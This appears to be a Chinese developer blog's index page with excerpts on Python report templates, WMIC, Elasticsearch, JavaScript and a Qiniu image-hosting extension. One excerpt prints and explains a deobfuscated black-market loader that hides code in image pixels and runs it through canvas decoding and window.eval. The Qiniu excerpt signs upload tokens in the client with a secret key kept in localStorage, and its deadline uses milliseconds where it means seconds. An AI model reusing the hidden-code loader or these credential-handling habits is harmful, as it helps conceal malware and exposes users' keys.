All Posts

利用 python 生成可视化报告

Python 作为一种常用的胶水语言,可用于各种用途。最近有个需求需要获取 SIME 平台的数据并形成月度报告。我的想法就是通过平台的 API 获取数据,然后基于 word 以及 matplotlib 来生成可视化报告。在这里要介绍一个比较好用的 python 库,docxtpl。这个库是一个基于 python-docx 的库,可以通过模板来生成报告。下面就介绍一下如何使用这些库,以及使用过程中的一些小问题。 模板 docxtpl 是基于 jinja2 引擎的语法,类似于常见的 html 模板语法,变量经常会放在 {{}} 中。假如我们希望在模板中设置变量 a 的值,那么我么可以在模板中填写 {{a}}。最后,我们通过 render 来渲染模板即可。 doc = Docxtpl(filename) context = { "a": "13413" } doc.Render(context) 那么如果我们希望在模板中插入一个图片该怎么做呢,可以使用 InlineImage 去实例化图片: from docxtpl import DocxTemplate, InlineImage # for height and width you have to use millimeters (Mm), inches or points(Pt) class : from docx.shared import Mm, Inches, Pt import jinja2 from jinja2.utils import Markup tpl=DocxTemplate('test_files/inline_image_tpl.docx') context = { 'myimage' : InlineImage(tpl,'test_files/python_logo.png',width=Mm(20)), 'myimageratio': InlineImage(tpl, 'test_files/python_jpeg.jpg', width=Mm(30), height=Mm(60)), 'frameworks' : [{'image' : InlineImage(tpl,'test_files/django.png',height=Mm(10)), 'desc' : 'The web framework for perfectionists with deadlines'}, {'image' : InlineImage(tpl,'test_files/zope.png',height=Mm(10)), 'desc' : 'Zope is a leading Open Source Application Server and Content Management Framework'}, {'image': InlineImage(tpl, 'test_files/pyramid.png', height=Mm(10)), 'desc': 'Pyramid is a lightweight Python web framework aimed at taking small web apps into big web apps.'}, {'image' : InlineImage(tpl,'test_files/bottle.png',height=Mm(10)), 'desc' : 'Bottle is a fast, simple and lightweight WSGI micro web-framework for Python'}, {'image': InlineImage(tpl, 'test_files/tornado.png', height=Mm(10)), 'desc': 'Tornado is a Python web framework and asynchronous networking library.'}, ] } # testing that it works also when autoescape has been forced to True jinja_env = jinja2.Environment(autoescape=True) tpl.render(context, jinja_env) tpl.save('test_files/inline_image.docx') 同样还可以使用宽度高度单位来设置图片的大小。另外我们还可以利用表格的模板来动态设置数据,具体可以参考 test,里面有各种例子可以参考。

黑产代码解密--利用canvas加载代码

前段时间获取到黑产的一些代码,不得不感叹黑产的代码实在在写的是好得很,思路巧妙,环环相扣。不得不说,技术不好,黑产都做不了了。虽然分析了好多天,但是也只是一知半解。这里抽出一小部分来讲一下。二话不说,先上代码: 最初的代码是经过混淆的,代码经过整理如下: var createImgElement = function(urla, b) { var imgElement = document.createElement('img'); var canvasEle = document.createElement('canvas'); imgElement['crossOrigin'] = true; imgElement['onload'] = function() { canvasEle.width = this.width; canvasEle.height = this.height; var canvasContext = canvasEle.getContext('2d') canvasContext.drawImage(this, 0, 0, this.width, this.height); for (var canvasContext = canvasContext.getImageData(0, 0, this.width, this.height), cancasDataLength = canvasContext.data.length, arr = [], i = 0; i < cancasDataLength; i += 4) { var code = canvasContext.data[i] var code1 = canvasContext.data[i + 1] var code2 = canvasContext.data[i + 2] canvasContext.data[i + 2].toString(16); 1 == code1.length && (code1 = 0 + code1); 1 == code2.length && (code2 = 0 + code2); 0 != Number(code + code1 + code2) && arr.push(String.fromCharCode(Number(code + code1 + code2))); } window.eval(arr.join('')); console.log(arr.join('')); b && b(); } imgElement.src = urla; }; 这段代码的主要目的是通过使用一个图片的连接,将这个图片加载到 canvas 中,再利用 canvas 去获取恶意代码并执行。通过图片去隐藏信息是一种常见的做法,这段就是通过 canvas 去执行图片中隐含的恶意代码。这段还支持传入回调函数,若回调函数存在,则执行回调函数。 在这里还利用一个计算机图像的知识,即像素中的 RGBA 值。Canvas 中的 ImageData 对象中每一个像素都包含了4个信息,即 RGBA 值。 R - 红色 (0-255) G - 绿色 (0-255) B - 蓝色 (0-255) A - alpha 通道 (0-255; 0 是透明的,255 是完全可见的) 通过将代码转化为 ascii 码,将其隐藏在图片中的 RGB 信息中,黑产的 alpha 值都设置的为255。这样非常巧妙地就实现了代码信息和图片之间的转换。

Wmic 使用中的一些问题

Wmic, 即 Windows Management Instrumentation Command-Line Utility,通过这个工具我们可以获取计算本地的很多信息。 起源 我起初是希望写一个 bat 脚本来获取计算机安装的程序和功能列表以及计算机最近安装的一些补丁信息。程序和功能列表以及补丁信息可以通过计算机的控制面板去查看,但是这样一点都不 geek,能用脚本解决的当然要用脚本去解决啦。 程序和功能 通过 wmic product 我们可以获取程序和功能的安装信息。 wmic product get name,description 这样我们就可以获取计算机上安装的程序和功能列表以及其相应的描述。当然除了 name 以及 description 之外我们还可以使用 vendor 以及 version 来获取程序的厂商名称以及对应的版本号。另外,如果我们希望把结果导入到 txt 文件中,我们还可以使用万能的管道符号: wmic product get name, description > products.txt 这样我们就可以获取结果的 txt 文件,是不是很方便。然而,当我们将使用 wmic 导出的结果和控制面板中的程序和功能相比较的话,我们会发现有些程序没有出现在结果中,比如 Google Chrome。 通过 wmic 只能获取大部分程序列表,它们的安装包一般都是使用 Windows Installer 制作的,安装过程中调用 Windows Installer 服务进行安装。但是 Windows Installer 并不是唯一的制作安装包的工具,因此 wmic 往往可能获取的还不是完整的程序和功能列表。至于完整的程序和功能列表,可以参考这篇文章。 补丁信息 经常我们需要获取计算机的补丁安装情况。通过 systeminfo 可以获取一部分补丁安装信息,但是信息一般比较少。在这里,我们依然可以通过使用 wmic 来获取补丁安装信息。 wmic qfe list full

Elasticsearch 团队开发章程

原文:Elasticsearch Team Development Constitution 译者:neal1991 welcome to star my articles-translator , providing you advanced articles translation. Any suggestion, please issue or contact me LICENSE: MIT 前言 我们作为 Elasticsearch 核心开发人员团队希望尽可能快地向可靠,健壮,安全,可扩展且易于使用的系统迁移。我们希望为创新而努力,取代传统的构造和功能,删除脆弱的代码,并致力于改善用户体验,同时在我们快速变化的同时保持用户增长。 对于我们来说,拥有一个团队的前进方向的共识是非常重要的,甚至更重要的是团队为什么要走上一条特定的路。当 Elasticsearch 创立之初时,它具有无尽的灵活性,易用性和丰富的 API。我们这帮年轻的团队成立了一家公司,并且突然用户数井喷式发展。支持组织几乎无法满足越来越多的客户,这是幸福的烦恼。然而,随着用户数量的增长,事情发生的可能性也越来越大,不幸的是,这比我们聘用支持工程师的速度要快得多。我们了解到,大多数灵活性来自宽松处理,从大多数情况下可行的功能,但不是全部。例如,用户可以使用请求发送的脚本基本上是一个远程代码执行引擎,如果出错,它是致命的。即使最基本的功能,比如设置,也非常灵活,但非常脆弱。在没有单位的情况下指定一个数字是很好的,除非许多用户不知道默认单位是什么。我们只是试图做正确的事情,结果证明并不是总是对的。 现在我们处于不同的位置。我们的用户基数比 2013 年的用户基数大得多,但我们的支持机构并没有以同样的速度增长。是的,我们处理比 2013 年更多的支持案例,但这在我们当时的系统中是不可能的。现在我们已经从一个脆弱而灵活的系统转向了范围较窄的软件。我们定义了更多的边界:更严格的输入验证,允许我们对权限进行细粒度控制的安全模型,甚至还有一个插件模型,可以以极大的灵活性来添加风险更高的功能。 但等等,我们还差得远呢!仍然有无穷无尽的问题会造成致命的后果。聚合可以通过一个请求来撑爆服务器。用户感觉需要运行 30+GB 堆的 Elasticsearch。我们仍然提供了 27 种指定布尔值的不同方式。这份清单还有其它内容… 我们对我们的用户,支持组织,云托管团队和第三方提供商负有巨大责任,提供可靠,稳健,安全且易于使用的系统。出于这个原因,我们都应该努力创新,取代传统的构造和功能,删除脆弱的代码,并改善用户体验。我们与其他公司相比的优势是我们的创新,创新需要速度。我们必须在留住用户的同时下采取行动并接受变革创新。 以下章节是用于设计,重构或从 Elasticsearch 代码库中删除代码的原则和指导原则的集合。这些点是无序的,大部分是未分类的,应该被看作是 Elasticsearch 团队内软件开发的一个组成部分。 设计特性 过程优于结果。 我们多年来一直遵循这种方法,这使我们能够随着时间的推移做出巨大的变化,而不会因大量的请求而产生巨大的响应。例如,补齐建议程序在 Elasticsearch 的早期版本中添加,而不支持实时更新和特定的删除。这意味着删除 Elasticsearch 中的文档不会立即反映在建议中。这是一个很难的问题,大约三年后,我们增加了对 Lucene 建议器和 Elasticsearch 的 bitset 过滤器的支持。与此同时,对于许多用户来说,这是一个可以接受的解决方案,修复了许多错误,并朝着基于文档的建议器发展。这就是过程优于结果。 为今天设计!谨慎使用抽象。 计算机科学教授教育学生以灵活性和信息隐藏的名义广泛使用抽象层。当然 Elasticsearch 广泛使用抽象; 没有任何涉及数百万行代码的项目可以以其他方式进行工作并生存。但经验表明,过度或过早的抽象可能与过早优化一样有害。抽象应该用于所需的级别,不要再进一步。 作为一个简单的练习,假设一个函数,它的参数总是被所有调用者传递为零。人们可以保留这个参数,以防万一有人最终需要使用它提供的额外的灵活性。但是那个时候,代码从来没有注意到的机会是好的 - 因为它从未被使用过。或者当需要额外的灵活性时,它不会以符合程序员早期预期的方式进行。我们应该定期提交补丁以删除未使用的参数; 一般而言,他们不应该添加在首位。(来源于 https://www.kernel.org/doc/Documentation/development-process/4.Coding)

理解 OutOfMemoryError 异常

OutOfMemoryError 异常应该可以算得上是一个非常棘手的问题。JAVA 的程序员不用像苦逼的 C 语言程序员手动地管理内存,JVM 帮助他们分配内存,释放内存。但是当遇到内存相关的问题,就比如 OutOfMemoryError,如何去排查并且解决就变成一个非常令人头疼的问题。在 JAVA 中,所有的对象都存储在堆中,通常如果 JVM 无法再分配新的内存,内存耗尽,并且垃圾回收器无法及时回收内存,就会抛出 OutOfMemoryError。 我之前在做一个工具,需要读取大量的文件,比如 word 或者 excel,而我给机器分配的最大的内存只有 2G。所以,很多人的机器往往会因为 OutOfMemoryError 异常导致程序中止运行。后来我发现一个现象,OutOfMemoryError 可以通过 Error 或者 Throwable 去捕获,OutOfMemoryError 类继承关系如下: java.lang.Object java.lang.Throwable java.lang.Error java.lang.VirtualMachineError java.lang.OutOfMemoryError 因此 OutOfMemoryError 是一个 Error 而不是一个 Exception,并且据我观察,OutOfMemoryError 无法被 throw 到上一层函数中。 private void OutOfMemoryErrorTest() { try { // do something might lead to OutOfMemoryError error } catch (Error e) { e.printStackTrace(); } } 发生 OutOfMemoryError 的原因 越早找出 OutOfMemoryError 的原因就越利于我们解决问题。到底是因为 JAVA 的堆满了还是因为原生堆就满了呢?为了找到其原因,我们可以通过异常的细节信息来获得提示。 Exception in thread thread_name: java.lang.OutOfMemoryErrorError: Java heap space 这是一个非常常见的情况,大多数 OutOfMemoryError 的异常都是因为这个原因导致的。这个细节信息表示在 JAVA 堆中无法再分配对象。这个错误并不代表你的程序一定发生了内存泄漏。可能很简单这就是一个配置的问题,可能默认的堆内存(JVM 设置的内存)无法满足应用的需求。

从一道面试题谈谈 setTimeout 和 setInterval

最近有看到一道题目,使用 JavaScript,隔一秒打印一个数字,比如第 0 秒打印 0,第 1 秒打印 1 等等,如何去实现? 假如我们尝试使用 setTimeout 去实现: for (var i = 0; i < 5; i++) { setTimeout(function() { console.log(i); }, i * 1000); } 这样可以么,执行的结果是什么呢?你可以将这段代码粘贴到 浏览器的 Console 中运行一下。结果是,每隔一秒打印一个 5 ,一共打印 5 次。这是为什么呢,为什么不是打印 0, 1, 2, 3, 4 呢?众所周知,JavaScript 是一种单线程语言,主线程的语句和方法会阻塞定时任务的执行,在 JavaScript 执行引擎之外,存在一个任务队列。当代码中调用 setTimeout 方法时,注册的延时方法会挂在浏览器其他模块处理,等达到触发条件是,该模块再将要执行的方法添加到任务队列中。这个过程是与执行引擎主线程独立,只有在主线程方法全部执行完毕的时候,才会从该模块的任务队列中提取任务来执行。这就是为什么 setTimeout 中函数延迟执行的时间往往大于设置的时间。 因此,对于上述的代码块,每一个 setTimeout 函数都被添加到了任务队列中。然后,这还涉及到了函数作用于的问题。因为当任务队列中的函数执行的时候,其作用域其实是全局作用域。setTimeout 中的打印函数执行的时候就会在全局作用域中寻找变量 i,而此时全局作用域的变量 i 的值已经变成 5 了。这也就是为什么打印的数字都是 5。那么应该如何达到我们一开始预期的效果呢?这里我们就需要考虑到函数执行上下文的问题,可以通过立即执行函数(IIFE)来改变函数作用域。 for (var i = 0; i < 5; i++) { (function(i) { setTimeout(function() { console.log(i); }, i * 1000); })(i); } 你可以将这段代码执行一下,可以看看执行的效果,应该就可以达到预期的效果了。通过立即执行函数改变函数运行的作用域,并且将要打印的变量传入到函数参数中,如此就能打印出正确的数字了。那么除了 setTimeout,我们是不是还有其它的方法呢?答案是有的,我们可以使用 setInterval 方法。

消灭 star 大作战--Front-end-tutorial

写在前面 Github star 往往非常简单,点击一个按钮,就 star 了。但是你还去看它么,这就未必了。因此很多库长年累月的堆积在你的 star list 里面无人问津。因此,会有这样一个具有一个非常中二的名字的计划。对于 star 仓库,从后往前,一个个理解消化,不要让它无意义地堆积。 操作步骤: fork it finish it 仓库信息 仓库名称:Front-end-tutorial 主要内容:这是一个博客,里面主要是前端开发的内容,内容设计比较广泛,包括 HTML, CSS, JS 以及流行的框架,以及前端开发的其他内容。 消灭计划:内容较多,打算主要消化一些感兴趣的内容,主要应该集中于原生的东西或者一些性能方面的知识。 作战内容 JavaScript 深拷贝 深拷贝可以说是一个老生重谈的问题,几乎每一个前端面试都可能会问这样的问题。Js 中的对象都是引用,所以浅拷贝时,修改拷贝后的对象会影响原对象。原仓库中其实讲的并不是很深入,我反倒是觉得评论里面的一篇文章深入剖析 JavaScript 的深复制讲得更好。 有很多第三方库实现了对于对象的深拷贝。 jQuery: $.extend(true, {}, sourceObject) loadsh: _.clone(sourceObject, true) 或者 _.cloneDeep(sourceObject) 另外有一个神奇的方法就是借助于 JSON 的 parse 和 stringify 方法,当时我才看到这个方法的时候惊为天人,这个方法还可以用来判断两个对象是否相等。当然,这个方法还是有一些限制,因为正确处理的对象只能是使用 json 可以表示的数据结构,对于函数可能就无能为力了。原文作者实现了一个深拷贝的方法,不过考虑了很多情况,在这里我们就实现一个简单版的深拷贝把。 function deepCopy(obj) { const result = {}; for (const key in obj) { if (obj.hasOwnProperty(key)) { if (Object.prototype.toString.call(obj[key]).indexOf('Array') !== -1 || Object.prototype.toString.call(obj[key]).indexOf('Object') !== -1) { result[key] = deepCopy(obj[key]); } else { result[key] = obj[key]; } } } return result; } call 和 apply call 和 apply 应该是两个非常类似的方法,我的理解它们都是改变函数运行的作用域。不同之处就是参数不同,apply 接收两个参数,一个是函数运行的作用域,另外一个是参数数组,而 call 的第一个参数相同,后面传递的参数必须列举出来。

如何做一个完美的页码跳转

需求 想给系统实现一个选择不同页面的功能,一开始的代码逻辑比较混乱,后来抽象出来就比较清楚了。第一步,咱们先说需求: 问题定义 我们希望实现一个页面切换,每次显示的可选的页码长度都是固定的,比如从第 1 页到第 11 页,从 21 页 到 31 页。这样能够实现一个统一的切换效果,可能还需要考虑一些边界情况。现在,我们令总页码数为 pages,当前选择的页码为 p,p 往左走或者往右走的步长是固定的,令步长为 step。那么我们现在要做的事情可以这么理解,我们要从 1 到 pages 之间截取可用的页码数,假设开始页码为 startIndex,结束页码为 endIndex。抽象一下,我们可以总结出以下几种情况: Condition1 startIndex < 1 && endIndex <= pages Condition2 startIndex >= 1 && endIndex > pages Condition3 startIndex < 1 && endIndex > pages Condition4 startIndex >= 1 && endIndex <= pages 这样抽象成四种情况,这样就比较容易理解。以线段的方式来理解,则是从 1 到 pages 截取页码。 代码实现 Show me the code.

pwa, 上海地铁线路图全新重构

之前一直有在维护一个上海地铁线路图的 pwa,最主要的特性就是 “offline first”。但是由于代码都是通过原生的 js 去实现,之前我都不是很喜欢去用框架,不想具有任何框架的偏好。但是到后期随着代码量的增加,代码的确变得混乱不堪,拓展新功能也变得尤为困难。因此,花了将近两个礼拜的时候对于应用进行了一次完整的重构。网站访问地址:https://neal1991.github.io/subway-shanghai 准备 准备工作先做好,在 vue 和 react 之间,我还是选择了后者。基于 create-react-app 来搭建环境,crp 为你准备了一个开箱即用的开发环境,因此你无需自己亲手配置 webpack,因此你也不需要成为一名 webpack 配置工程师了。 另外一方面,我们还需要一些数据,包括站点信息,线路路径,文字说明等等。基于之前的应用,可以通过一小段的代码获取信息。就此如要我们获取我们以前的站点在 svg 图中的相关属性,普通的站点使用 circle 元素,为了获取其属性: const circles = document.querySelectorAll('circle'); let result = []; circles.forEach(circle => { let ele = { cx: circle.cx, cy: circle.cy, sroke: circle.stroke, id: circle.id }; result.push(ele); }) const str = JSON.stringify(result); 通过这样的代码我们就可以获取 svg 普通站点信息,同理还可获取中转站信息,线路路径信息以及站点以及线路 label 信息。还有,我们还需要获取每个站点的时刻表信息,卫生间位置信息,无障碍电梯信息以及出入口信息。这里是写了一些爬虫去官网爬取并做了一些数据处理,再次就不一一赘述。 设计 数据准备好之后,就是应用的设计了。首先,对组件进行一次拆分: 组件结构 将整个地图理解成一个 Map 组件,再将其分为 4 个小组件: Label: 地图上的文本信息,包括地铁站名,线路名称 Station: 地铁站点,包括普通站点和中转站点 Line: 地铁线路 InfoCard: 状态最复杂的一个组件,主要包含时刻表信息、卫生间位置信息、出入口信息、无障碍电梯信息 这是一个大致的组件划分,里面可能包含更多的其它元素,比如 InfoCard 就有 InfoCard => TimeSheet => TimesheetTable 这样的嵌套。

通过七牛云建立私有图床

七牛云是国内一家领先的云存储公司,可以利用七牛云存储对象存储图片。虽然现在各种图床,但还是希望能够搭建一个私有的图床。所以一直有希望使用七牛云搭建图床的想法,之前一直没有好好地看懂七牛云的 SDK,后来在仔细地看了一遍之后,终于知道如何利用官方的 SDK 来实现图片上传。过年在家花了一点时间,后来陆续也写了一点,完成了这个七牛云图床 chrome 拓展。 注册账户 首先你可以通过这个链接注册你的七牛云账户。在成功注册账户之后,可能还需要绑定手机号,你就可以创建存储空间,可以理解成为文件存储的文件夹。 创建好存储空间(bucket)就已经完成了私有图库的第一步。 开发 在这也会对所有代码一一解释,主要是讲解一下在开发中遇到的一些问题。首先基于七牛云存储开发,有必要学会七牛云存储 API 的使用。可以在官方 SDK 文档获取所有文档。本拓展的开发主要是基于 js 来进行开发,因此我们只需要了解 js SDK 文档。 文档中提到了一点:JS-SDK 依赖服务端颁发 token,可以通过以下二种方式实现: 利用七牛服务端 SDK 构建后端服务 利用七牛底层 API 构建服务,详见七牛上传策略和上传凭证(https://developer.qiniu.com/kodo/manual/1208/upload-token) 第一个方法还需要搭建服务器来颁发 token,显然这种方法不太经济,如果仅仅是为了这个图床搭建一个后端服务,就不太划算了。因此,我选择第二种,在客户端来生成 token。这种方法就需要你了解上传策略以及上传凭证。 上传策略是资源上传时附带的一组配置设定。通过这组配置信息,七牛云存储可以了解用户上传的需求:它将上传什么资源,上传到哪个空间,上传结果是回调通知还是使用重定向跳转,是否需要设置反馈信息的内容,以及授权上传的截止时间等等。上传策略主要是 scope 和 dealine 这两个字段是必须要的。scope 是指定上传的目标资源空间 Bucket 和资源键 Key,这里我们只需要设置 bucket。deadline 是上传凭证有效截止时间。Unix时间戳,单位为秒。该截止时间为上传完成后,在七牛空间生成文件的校验时间,而非上传的开始时间,官方建议建议设置为上传开始时间 + 3600s。 function genPolicy(scope) { let policy = { scope: scope, deadline: (new Date()).getTime() + 3600 } return policy; } 按照上述算法流程构建客户端的上传 token,官方有提供上传凭证的在线示例,通过整理形成了自己的 token.js。 完成本地 token 的,我的开发就完成了一大步。这个拓展需要两个界面的设置,就是包括图片上传页面以及七牛云存储配置页面。关于这两个页面的设计,我也就不一一赘述,主要讲几点: 七牛云信息存储 为了上传图片,我们需要配置 AK,SK,bucket 以及 domain。这些都可以在七牛云的控制台里面获取,因此我们需要在首次打开拓展的时候检查是否具有这些数据。至于这些配置信息保存在什么地方,一开始打算采取的是 chrome.storage 来进行存储,这样做的好处是可以利用账号同步数据,但缺点是操作不方便,是异步的。后来还是决定使用 localStorage,一来使用起来非常方便,二是我们并不是特别需要账号同步。因此,我们首先会检查配置信息是否存储在 localStorage,否则就打开配置页: